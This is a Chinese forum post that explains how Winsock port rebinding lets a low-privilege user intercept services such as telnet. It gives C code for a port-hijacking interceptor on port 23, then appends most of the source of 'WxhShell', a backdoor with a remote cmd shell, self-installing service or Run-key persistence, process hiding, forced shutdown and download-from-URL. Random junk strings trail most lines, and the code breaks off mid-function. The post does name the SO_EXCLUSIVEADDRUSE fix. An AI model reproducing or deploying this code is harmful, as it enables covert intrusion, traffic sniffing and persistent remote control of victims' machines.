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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KqT#zj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H5F\-&cq  
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  saddr.sin_family = AF_INET; N>W;0u!  
7C,<iY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); # CP9^R S  
7UeE(=Hr5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,n /SDEL  
1Xk{(G<\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c+)36/; X  
kMfc"JXF  
  这意味着什么?意味着可以进行如下的攻击: dXf]G6  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )3D+gu  
U]`'GM/x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `2 %eDFZ  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 !;xf>API  
^?sSsH z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VuJfo9 `E  
e>ZbZy?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E-5ij,bHv3  
ntA[[OIFO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <=5,(a5g  
;W$w=j: O{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 tS_xa  
bv:0EdVr  
  #include n',9#I(!L  
  #include JO<gN= [  
  #include ue^?/{OuT  
  #include    YG}p$\R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2yi*eR  
  int main() B J:E,P`_  
  { dd?x5|/#  
  WORD wVersionRequested; ArEH%e  
  DWORD ret; )sY$\^'WY  
  WSADATA wsaData;  9^b7jw  
  BOOL val; )n[`Z#  
  SOCKADDR_IN saddr; ;Wfv+]n9  
  SOCKADDR_IN scaddr; l"~h1xk~  
  int err; vJ#rW8y  
  SOCKET s; 5 ~ *'>y  
  SOCKET sc; wHo#%Y,Nmi  
  int caddsize; vMW-gk  
  HANDLE mt; ~8Dd<4?F]  
  DWORD tid;   M; S-ESQ  
  wVersionRequested = MAKEWORD( 2, 2 ); U&d-?PI  
  err = WSAStartup( wVersionRequested, &wsaData ); ^=-*L 3f  
  if ( err != 0 ) { k`iq<b  
  printf("error!WSAStartup failed!\n"); 's7SZ$(  
  return -1; M rH%hRV6R  
  } qw Kh,[]  
  saddr.sin_family = AF_INET; gOES2 4$2  
   g#9*bF  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 K\Y6 cj  
rH} Dt@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @'NaA SB  
  saddr.sin_port = htons(23); n'x`oI)-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XSHwE)m  
  { Hjo:;s  
  printf("error!socket failed!\n"); RJ`/qXL  
  return -1; ]ukj]m/@  
  } JJbM)B@-  
  val = TRUE; Q%AS ;(d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2jrX  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mXN1b!  
  { 6"rFfdns  
  printf("error!setsockopt failed!\n"); gl(6m`a>  
  return -1; !,-qn)b  
  } Li<266#A!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UmP?}Xw6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _6QLnr&@j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J4K|KS7   
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  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;03*qOYc  
  { ]mJAKycE%  
  ret=GetLastError(); 8en#PH }  
  printf("error!bind failed!\n"); 6wvhvMkS  
  return -1; ,uqbS  
  } +=29y@c  
  listen(s,2); 61eKGcjs:  
  while(1) [jtj~]&mO  
  { g^<q L|  
  caddsize = sizeof(scaddr); 2}xFv2X  
  //接受连接请求 7K5o" "  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =-1^K  
  if(sc!=INVALID_SOCKET) 5sV/N] !  
  { ][>M<J  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &|&YRHv  
  if(mt==NULL) q%=7<( w  
  { "`1of8$X7  
  printf("Thread Creat Failed!\n"); W) Kpnb7  
  break; #9W5  
  } PUFW^"LV  
  } .o,51dn+ s  
  CloseHandle(mt); ekk&TTp#  
  } ZC\.};.  
  closesocket(s); scPq\Qd?O  
  WSACleanup(); nD?M;XN  
  return 0; $0`$)(Y  
  }   X-2S*L'  
  DWORD WINAPI ClientThread(LPVOID lpParam) <K.C?M(9  
  { ZZ.0'   
  SOCKET ss = (SOCKET)lpParam; krnk%ug  
  SOCKET sc; dW=D]  
  unsigned char buf[4096]; {i7Fu+xZj  
  SOCKADDR_IN saddr; nY5n%>8  
  long num; LXLIos55S  
  DWORD val; EA@$^e[  
  DWORD ret; GzZ|T7fm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (Ss77~W7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g J[q {b  
  saddr.sin_family = AF_INET; 'r?HL;,q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); MFdFZkpiV  
  saddr.sin_port = htons(23); eJ)KE5%n#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bc"}nSjH  
  { <T2~xn  
  printf("error!socket failed!\n"); R7;rBEt8  
  return -1; ,;ruH^  
  } BO\`m%8md  
  val = 100; OaCj3d>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O |I:[S},  
  { Qc =lf$  
  ret = GetLastError(); 17[t_T&Ak9  
  return -1; M0IqQM57N  
  } X|n[9h:%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VFaK>gQ  
  { [@?.}!  
  ret = GetLastError(); R O3e  
  return -1; )+{omQ7v  
  } ujp,D#xHP  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) eq 1 4  
  { t:j07 ,1~  
  printf("error!socket connect failed!\n"); 6%hEs6-R  
  closesocket(sc); [,?A$Z*Z|  
  closesocket(ss); f+88R=-u6S  
  return -1; @f01xh=8  
  } nF y7gA|  
  while(1) xbH!:R;  
  { -N!soJ<  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `&Of82*w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aKU8" 5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cM'[;u  
  num = recv(ss,buf,4096,0); }PD(kk6fX  
  if(num>0) w0%ex#lkm  
  send(sc,buf,num,0); ]~x/8%e76  
  else if(num==0) -clg 'Aa;.  
  break; D2*Q1n  
  num = recv(sc,buf,4096,0); yD id` ym  
  if(num>0) X1PlW8pd  
  send(ss,buf,num,0); p){RS q  
  else if(num==0) K.L+; nQ  
  break; 5N</Z6f'o  
  } ScmzbDu  
  closesocket(ss); \c^jaK5  
  closesocket(sc); 73Zs/  
  return 0 ; X!HSS/'  
  } ~ilBw:L-3  
d1_*!LW$  
7Z:l;%]K  
========================================================== $,v+i -  
7(iRz  
下边附上一个代码,,WXhSHELL 0lq4   
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========================================================== z{+; '9C  
gK_[3FiKt  
#include "stdafx.h" k yA(m;r  
iK0J{'  
#include <stdio.h> T7nX8{l[RG  
#include <string.h> QF6JZQh<  
#include <windows.h> bH]!~[  
#include <winsock2.h> BJ2W }R  
#include <winsvc.h> oa|*-nw  
#include <urlmon.h> gM[ J'DMW  
_@?Jx/`;bk  
#pragma comment (lib, "Ws2_32.lib") 03\8e?$  
#pragma comment (lib, "urlmon.lib") 5Kxk9{\8  
KvOI)"0(  
#define MAX_USER   100 // 最大客户端连接数 f;dU72]q+  
#define BUF_SOCK   200 // sock buffer H LGy"P  
#define KEY_BUFF   255 // 输入 buffer P[K T  
tce8*:rNH  
#define REBOOT     0   // 重启 mK/P4]9g  
#define SHUTDOWN   1   // 关机 &jd<rs5}  
} ZGpd9D  
#define DEF_PORT   5000 // 监听端口 &8L\FAY0%9  
TTak[e&j3  
#define REG_LEN     16   // 注册表键长度 3Ya6yz  
#define SVC_LEN     80   // NT服务名长度 'U Cx^-  
Gf.o{  
// 从dll定义API #u(,#(P'#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AdW7 vn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X.5LB!I)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p arG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J~`%Nj5>  
$F$R4?_  
// wxhshell配置信息 UeeV+xU  
struct WSCFG { }r<^]Q*&p  
  int ws_port;         // 监听端口 [,X,2  
  char ws_passstr[REG_LEN]; // 口令 !9OgA  
  int ws_autoins;       // 安装标记, 1=yes 0=no ()JDjzQT  
  char ws_regname[REG_LEN]; // 注册表键名 6MQ:C'8T&=  
  char ws_svcname[REG_LEN]; // 服务名 QP0X8%+p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HaUo+,=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 % E_{L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @y&,e,3!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X}^gmu<Vla  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xM,(|p(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;g9:0,xT4  
bd;f@)X  
}; <OB~60h"  
> PA,72e   
// default Wxhshell configuration 6VE5C g  
struct WSCFG wscfg={DEF_PORT, h(up1(x  
    "xuhuanlingzhe", >?FCv7qN  
    1, 8 z7,W3b  
    "Wxhshell", P#oV ^  
    "Wxhshell", {Oszq(A  
            "WxhShell Service", >:|q J$J.  
    "Wrsky Windows CmdShell Service", nP5fh_/  
    "Please Input Your Password: ", _3>zi.J/  
  1, zjE4v-H:l  
  "http://www.wrsky.com/wxhshell.exe", cNv c pv  
  "Wxhshell.exe" ( "z;Q?(  
    }; S3wH M  
9hpM*wt  
// 消息定义模块 YJsi5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RjHpC7b*%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o)WSMV(&f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; - mXr6R?  
char *msg_ws_ext="\n\rExit."; {m GWMv  
char *msg_ws_end="\n\rQuit."; n/D]r  
char *msg_ws_boot="\n\rReboot..."; C>ZeG Vq  
char *msg_ws_poff="\n\rShutdown..."; h]9^bX__Z  
char *msg_ws_down="\n\rSave to "; &|] ^ u/  
W{aNS@1  
char *msg_ws_err="\n\rErr!"; c>.Xc[H  
char *msg_ws_ok="\n\rOK!"; Lcm!e  
BT0hx!Ti  
char ExeFile[MAX_PATH]; Gjr2]t;E  
int nUser = 0; 2 wvDC@  
HANDLE handles[MAX_USER]; eQj/)@B:V  
int OsIsNt; F tjm@:X  
j]SkBZgik  
SERVICE_STATUS       serviceStatus; ?yK\L-ad  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]aL}&GlHt  
$vz%   
// 函数声明 ^Yz05\  
int Install(void); uD3_'a  
int Uninstall(void); e vuP4-[y  
int DownloadFile(char *sURL, SOCKET wsh); =<xbE;,0  
int Boot(int flag); k =_@1b-  
void HideProc(void); W -&5 v  
int GetOsVer(void); _Oq\YQb v  
int Wxhshell(SOCKET wsl); miqCUbcU  
void TalkWithClient(void *cs); xM\ApN~W  
int CmdShell(SOCKET sock); p60D{UzU  
int StartFromService(void); Eq{TZV  
int StartWxhshell(LPSTR lpCmdLine);  Pq%cuT%  
{ VO4""m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?Q2pD!L{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RGmpkQEp  
w.H+$=aK  
// 数据结构和表定义 ?C3cPt"  
SERVICE_TABLE_ENTRY DispatchTable[] = <^{:K`  
{ +6atbbe}   
{wscfg.ws_svcname, NTServiceMain}, W^f#xrq>  
{NULL, NULL} TVA1FD  
}; O6]~5&8U.  
W[s>TDc`v  
// 自我安装 EM}z-@A>  
int Install(void) ba13^;fm#  
{ H=C;g)R  
  char svExeFile[MAX_PATH]; P+h&tXZn8  
  HKEY key; 67?5Cv  
  strcpy(svExeFile,ExeFile); G]CY3xw98  
H;1}Nvvd  
// 如果是win9x系统,修改注册表设为自启动 ;\N*iN#K  
if(!OsIsNt) { $EF@x}h:A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d .A0(*k,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M-Bw9`#Jw  
  RegCloseKey(key); ~JpUO~i/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #C^m>o~R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q #gHD  
  RegCloseKey(key); X$f%Ss  
  return 0; .EO1{2=  
    } L8ke*O$  
  } q0wVV  
} T^_9R;  
else { D2bUSRrb  
.&y1gh!=  
// 如果是NT以上系统,安装为系统服务 X[<9+Q-&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); at!?"u  
if (schSCManager!=0) :F&WlU$L  
{ )w-?|2-w5  
  SC_HANDLE schService = CreateService CCV~nf  
  ( Rd)QVEk>SD  
  schSCManager, UZ#2*PH2E  
  wscfg.ws_svcname, d/1XL[&  
  wscfg.ws_svcdisp, s9iM hCu|  
  SERVICE_ALL_ACCESS, \BL9}5y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @#apOoVW>  
  SERVICE_AUTO_START, Sls> OIc  
  SERVICE_ERROR_NORMAL, /Ny&;Y  
  svExeFile, +Sfv.6~v  
  NULL, uc_ X;M;  
  NULL, MXb(Z9)]kw  
  NULL, |k+^D:  
  NULL, pC6_ jIZ  
  NULL $$a"A(Y  
  ); tF|bxXs Z  
  if (schService!=0) h.*|4;  
  { (agdgy:#  
  CloseServiceHandle(schService); \+xsJbEV  
  CloseServiceHandle(schSCManager); 2olim1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D_Y;N3E/rS  
  strcat(svExeFile,wscfg.ws_svcname); FWg7 e3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C7#$s<>TO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U,'n}]=4A3  
  RegCloseKey(key); :&m(WZ \  
  return 0; #=rR[:M  
    } y.zQ `  
  } J}JnJV8|G  
  CloseServiceHandle(schSCManager); 4tI~d8?pk+  
} K_i2%t3  
} ZAE;$pkP  
jkq+j^  
return 1; a;K:~R+@,  
} isjkfl-!  
o&]qjFo\m  
// 自我卸载 k;sUDmrO  
int Uninstall(void) @UKd0kxPN{  
{ C1=[\c~jw  
  HKEY key; (k?OYz]c  
PsLCO(26  
if(!OsIsNt) { !ZRV\31%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iQKfx#kt  
  RegDeleteValue(key,wscfg.ws_regname); om1 / 9  
  RegCloseKey(key); XL:7$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { * XJSa  
  RegDeleteValue(key,wscfg.ws_regname); i+;E uHf  
  RegCloseKey(key); :O7J9K|  
  return 0; 6XP>p$-  
  } tVOx  
} $[Fk>d  
} 5M*p1^ >  
else { 4:.M*Dz  
/SiQw7yp%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^N]*Zf~N?  
if (schSCManager!=0) ,f$ RE6  
{ WCH>9Z>cj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |s:!LU&OL\  
  if (schService!=0)  Dg@6o  
  { LE;c+(CAU  
  if(DeleteService(schService)!=0) { qVfOf\x.e  
  CloseServiceHandle(schService); *$QUE0  
  CloseServiceHandle(schSCManager); 5J,vH  
  return 0; \m<*3eS  
  } IY'S<)vOY  
  CloseServiceHandle(schService); B4kIcHA  
  } O'k"6sBb  
  CloseServiceHandle(schSCManager); b#sO1MXv  
}  ZM"t.  
} :z[SI{Y  
<%5ny!]  
return 1; M<SZ7^9<  
} [lf[J&}X  
m\(a{x  
// 从指定url下载文件 w"~T5%p  
int DownloadFile(char *sURL, SOCKET wsh) hYLu   
{ ]?^mb n  
  HRESULT hr; ,q4Y N-3  
char seps[]= "/"; D3]_AS&\  
char *token; j0J6ySlY  
char *file; 8 =d9*lm  
char myURL[MAX_PATH]; \|Mz'*  
char myFILE[MAX_PATH]; di|l?l^l  
Cd4G&(=  
strcpy(myURL,sURL); B#=dz,}  
  token=strtok(myURL,seps); k20tn ew  
  while(token!=NULL) |K]tJi4fz  
  { dQ<EDtap  
    file=token; l{<@[foc  
  token=strtok(NULL,seps); u!O)\m-  
  } +:b| I'S  
` sSI;+  
GetCurrentDirectory(MAX_PATH,myFILE); k]Yd4CC2  
strcat(myFILE, "\\"); E11"uWk`  
strcat(myFILE, file); CGQ`i  
  send(wsh,myFILE,strlen(myFILE),0); NOvN8.K%  
send(wsh,"...",3,0); i]P]o)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Na4\)({  
  if(hr==S_OK) 0VPa=AW  
return 0; d2pVO]l YZ  
else dI`b AP;\  
return 1; y@F{pr+dA  
!^y'G0  
} :>|[ o&L  
).\%a h  
// 系统电源模块 `,J\E<4J  
int Boot(int flag) L9T|*?||  
{ 0ZO!_3m$r  
  HANDLE hToken; /0A}N$?>:  
  TOKEN_PRIVILEGES tkp; V[#jrwhA  
7a2 uNt,X  
  if(OsIsNt) { ]'hz+V31%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qTG/7tn "  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \j4TDCs_[  
    tkp.PrivilegeCount = 1; ~x2azY2DP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YM-,L-HMA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {a(TT)d  
if(flag==REBOOT) { $. Ih-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {Wt=NI?Ow  
  return 0; 7"1M3P5*8  
} gkDB8,C<j  
else { f|u!?NGl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wh,p$|vL  
  return 0; `rvS(p[s  
} {q:6;yzxl  
  } HUZI7rC[=)  
  else { ^]K_k7`I  
if(flag==REBOOT) { ,#nyEE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5-*/wKjLz  
  return 0; y6f YNB  
} @PutUYz  
else { <d8 Yk>R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i6aM}p<  
  return 0; F.4xi+S_  
} C-&\qAo?<:  
}  Hi#hf"V  
R,8;GS42  
return 1; +Y-Gp4"  
} r3'0{Nn+  
8 K'3iw>z  
// win9x进程隐藏模块 G@s rQum(  
void HideProc(void) F8nR.|  
{ *y0TtEd;  
05Ak[OOU>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S3$&}I <  
  if ( hKernel != NULL ) BKi@c\Wb  
  { fC&hi6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vkp_v1F%+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :wtK'ld  
    FreeLibrary(hKernel); tw,uV)xm  
  } FG/1!8F  
ka0MuQ M  
return; uWkW T.>$  
} XU_gvz  
f["c,,[  
// 获取操作系统版本 ^? }-x  
int GetOsVer(void) A{MMY{K3  
{ z#m ~}  
  OSVERSIONINFO winfo; wt]onve}%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z ):q1:y  
  GetVersionEx(&winfo); MR}=tO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~7ZWtg;B  
  return 1; x.8fxogz  
  else ew?4;  
  return 0; "Doz~R\\  
} W^k95%zBM  
fS?}(7  
// 客户端句柄模块 \,D>zF  
int Wxhshell(SOCKET wsl) a]]eQ(xQ  
{ }]<0!q &xB  
  SOCKET wsh; 9(6f:D  
  struct sockaddr_in client; >P@g].Q-  
  DWORD myID; a5cary Z"z  
r'8qZJgm  
  while(nUser<MAX_USER) HAwdu1$8  
{ 5X&Y~w,poU  
  int nSize=sizeof(client); 2u Zb2O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TXdo,DPv7  
  if(wsh==INVALID_SOCKET) return 1; !y+uQ_IS@  
x n?$@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4( $p8J  
if(handles[nUser]==0) MQ#k`b#()  
  closesocket(wsh); R"W5R-  
else |yS  %  
  nUser++; 2DU Y4Ti  
  } HA$X g j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5\V""fH  
F%P"T%|  
  return 0; zG{P5@:.R  
} C~Hhi-Xl)  
zX lcu_rc  
// 关闭 socket Fs"i fn0  
void CloseIt(SOCKET wsh) ?zex]!R  
{ >$,P )cB'  
closesocket(wsh); .dI".L  
nUser--; u8.F_'`z  
ExitThread(0); _AzI\8m  
} .do8\  
~[%_]/#&%z  
// 客户端请求句柄 ncqAof(/  
void TalkWithClient(void *cs) oR7[[H.4  
{ ,?P<=M  
JR8|!Of@B  
  SOCKET wsh=(SOCKET)cs; j"K^zh  
  char pwd[SVC_LEN]; eSQkW  
  char cmd[KEY_BUFF]; d~ +(g!  
char chr[1]; _B>'07D0  
int i,j; ^"<x4e9+j  
'Lq+ONX5  
  while (nUser < MAX_USER) {  & .0A%  
d a<>a  
if(wscfg.ws_passstr) { (n`] sbx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )(0if0D4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Fie'[F5,)  
  //ZeroMemory(pwd,KEY_BUFF); `JO>g=,4  
      i=0; DQ(0:r  
  while(i<SVC_LEN) { G9NI`]k  
3Q'vVNFh<  
  // 设置超时 /poGhB 1k  
  fd_set FdRead; |.VSw  
  struct timeval TimeOut; ^s6}[LDW>@  
  FD_ZERO(&FdRead); }4N'as/ZO  
  FD_SET(wsh,&FdRead); 8OKG@hc  
  TimeOut.tv_sec=8; .W^B(y(tA  
  TimeOut.tv_usec=0; /78]u^SW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ((C|&$@M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M!+J[q  
?z`={oN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~Oa$rqu%m  
  pwd=chr[0]; eZEk$W%  
  if(chr[0]==0xd || chr[0]==0xa) { fX]`vjM{  
  pwd=0; u?" ="-^  
  break; e8rZP(g&g  
  } cI P.5)Ca  
  i++; /v^ '5j1o  
    } Vbt!, 2_)  
^R=`<jx   
  // 如果是非法用户,关闭 socket ]XU4nNi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HdN5zl,q  
} |Fe[RGi+8  
y_X jY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lo3N)~5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pr1q X5>=  
5mQ@&E~#W  
while(1) { WW+xU0  
gu3iaM$W  
  ZeroMemory(cmd,KEY_BUFF); 9j|v D  
+@=V}IO  
      // 自动支持客户端 telnet标准   E/g"}yR  
  j=0; s> m2qSu  
  while(j<KEY_BUFF) { `Jk0jj6Z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0u1ZU4+EC  
  cmd[j]=chr[0]; XjF@kQeM=  
  if(chr[0]==0xa || chr[0]==0xd) { j1KNgAo<4  
  cmd[j]=0; =B9-}]DDO  
  break; '{cSWa| #  
  } \?; `_E`j  
  j++; Bhxs(NO  
    } yI 2UmhA  
3l%Qd<  
  // 下载文件 Vx(*OQ  
  if(strstr(cmd,"http://")) { x>}ml\R  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); z3y{0<3  
  if(DownloadFile(cmd,wsh)) (B>/LsTu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'g!T${  
  else #h?I oB7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TY)QE  
  } i}VF$XN  
  else { SK lvZ  
_8a;5hS  
    switch(cmd[0]) { qS#G7~ur>y  
  c`soVqT$?  
  // 帮助 '|DW#l\n  
  case '?': { *[{j'7*cc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sSh{.XuB+3  
    break; sqrLys_S  
  } l::q F 0  
  // 安装 \P*_zd@%  
  case 'i': { l)9IgJ|<b  
    if(Install()) bZNqv-5 4h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B W<Dmn  
    else f^FFn32u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7pm'b,J<  
    break; r }lGcG)  
    } N[p o)}hp  
  // 卸载 k5I;Y:~`  
  case 'r': { [3jJQ3O,  
    if(Uninstall()) F{0\a;U@^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =p8uP5H  
    else <{isWEW9]3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !?nbB2,  
    break; BM<q;;pO  
    } ]xQv\u  
  // 显示 wxhshell 所在路径 uZC=]Ieh  
  case 'p': { j(=w4Sd_W  
    char svExeFile[MAX_PATH]; ~Q&J\'GQH  
    strcpy(svExeFile,"\n\r"); nF@**,C Q  
      strcat(svExeFile,ExeFile); 5EFt0?G   
        send(wsh,svExeFile,strlen(svExeFile),0); #7i*Diqf9  
    break; z:>cQUYl  
    } fOV_ >]u  
  // 重启 *4}_2"[  
  case 'b': { uzBQK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0~bUW V  
    if(Boot(REBOOT)) e9o\qEm   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; Z]Wj9iY  
    else { `,qft[1  
    closesocket(wsh); 4j#y?^s  
    ExitThread(0); ZwkUd-=0i  
    } g'7E6n"!,  
    break; +>"s)R43  
    } 1,-C*T}nR  
  // 关机 ye(b 7CX  
  case 'd': { =SJ#6uFS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QQrldc(I  
    if(Boot(SHUTDOWN)) "'U^8NA2  
